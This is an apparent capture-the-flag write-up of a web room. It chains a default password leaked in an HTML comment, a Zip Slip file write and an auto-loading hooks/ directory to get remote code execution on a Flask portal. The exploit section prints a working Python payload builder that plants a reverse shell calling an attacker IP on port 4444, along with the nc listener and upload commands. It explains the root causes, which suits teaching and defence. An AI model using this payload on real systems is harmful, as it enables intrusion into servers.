M4cCrypt0
back to overview

Zip Slip to RCE: The Hollow Shell

Summary

Web-category room. A hotel-style admin portal lets staff upload "shell" packs (.zip archives with a shell.json manifest) to drive an in-room display. Default credentials leak in an HTML comment, the manifest supports optional hooks, and the extraction routine trusts archive entry names without sanitizing them. Combining a Zip Slip write with the undocumented hooks/ auto-load mechanism gets a reverse shell.

Recon

bash
nmap -sC -sV -p- <target-ip>

Only two ports open: 22 (SSH) and 5000, running gunicorn — Python/Flask behind a production WSGI server, no dev-mode Werkzeug banner.

bash
curl -I http://<target-ip>:5000

confirms Server: gunicorn. No /robots.txt surprises; the app is entirely on port 5000, no separate 80/443.

Vulnerability

Leaked credentials

curl-ing the login page and reading the raw HTML (not the rendered DOM) turns up an HTML comment IT apparently forgot to strip:

text
user: concierge
pass: <REDACTED-DEFAULT-PASSWORD>
[WARN]

Root cause

Shared default credentials meant to be rotated "on first sign-in" — never rotated. Classic A07 (Identification and Authentication Failures).

Logging in returns a Flask session cookie, signed but not encrypted (base64(payload).timestamp.signature). Decoding the payload just confirms {"staff": "concierge"} — no privilege field worth forging here.

Mapping the manifest schema

The upload panel accepts a .zip with a shell.json manifest. Rather than guess the schema, force validation errors and read them literally:

bash
mkdir shell_test && cd shell_test
printf '%s\n' '{"assets":[{"file":"style.css","type":"css"}]}' > shell.json
zip shell.zip shell.json
curl -b cookies.txt -X POST http://<target-ip>:5000/upload -F "[email protected]"
text
Shell rejected: shell.json is missing a 'name'

Each rejection reveals the next required field. End state: name (string, required), assets (array, required — every entry so far gets rejected regardless of type value, root cause never fully isolated, likely a separate/decoy bug), and an optional hooks array that is accepted with any structure and never validates or errors — a strong signal it's processed later, not at upload time.

Zip Slip

The extraction routine builds the output path by joining the archive's internal entry name directly onto the target directory:

vulnerable pattern (reconstructed from behavior)
target_path = os.path.join(extract_dir, file_info.filename)
os.makedirs(os.path.dirname(target_path), exist_ok=True)
with open(target_path, "wb") as f:
    f.write(archive.read(file_info.filename))

zip (the CLI) normalizes ../ out of entry names, so the PoC has to be built with Python's zipfile, which writes whatever arcname string you give it:

probe.py
import zipfile
with zipfile.ZipFile("probe.zip", "w") as z:
    z.writestr("shell.json", '{"name":"probe","assets":[]}')
    z.writestr("../ziptest.txt", "zip slip confirmed")

Uploading and fetching /shells/ziptest.txt afterwards returns the planted content — confirmed write outside the intended shells/<id>/ sandbox.

[ TIP ]

Depth mapping

Walking ../, ../../, ../../../ and watching for a clean upload vs. a 500 (permission denied past a certain depth) maps how many directories sit between the upload sandbox and the app root — useful before guessing target paths blind.

[WARN]

Read ≠ write

The /shells/<path> static-serve route normalizes ../ in the URL itself (Werkzeug), so files written outside the sandbox via Zip Slip can't be read back the same way. Verifying "did my traversal write land" needs an out-of-band or execution-based signal, not a GET request.

Exploit

The manifest's hooks field is the missing piece: the app auto-loads Python files dropped into a hooks/ directory as part of a "theme worker" that applies changes shortly after upload. Combine that with the Zip Slip write primitive — plant the hook file two directories up, inside hooks/, instead of the sandboxed upload folder:

build_payload.py
import zipfile, json

manifest = {"name": "reverse", "assets": []}

callback = '''
import socket, os, pty
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("<attacker-ip>", 4444))
for fd in (0, 1, 2):
    os.dup2(sock.fileno(), fd)
pty.spawn("/bin/bash")
'''

with zipfile.ZipFile("reverse-shell.zip", "w") as z:
    z.writestr("shell.json", json.dumps(manifest))
    z.writestr("../../hooks/callback.py", callback)
bash
nc -lvnp 4444
python3 build_payload.py
curl -b cookies.txt -X POST http://<target-ip>:5000/upload -F "[email protected]"

Shortly after the upload, the worker picks up hooks/callback.py and runs it — shell lands on the listener. Flag recovered after basic enumeration (cd .., into the app's working directory).

Why this works

Two independent bugs chained together:

  1. Zip Slip — archive extraction trusts entry names, so ../ in a zipfile.writestr() arcname escapes the intended output directory.
  2. Unauthenticated code execution via hooks/ — any .py file placed in that directory gets loaded and run, with no check on how it got there. The manifest's hooks field looking like inert, unvalidated metadata was itself the tell: something that accepts arbitrary structure without ever erroring is usually being consumed downstream, not ignored.

Neither bug alone is enough — Zip Slip without a load-and-execute sink is "just" an arbitrary file write; the hook loader without Zip Slip would need some other way to get a file into hooks/.

Lessons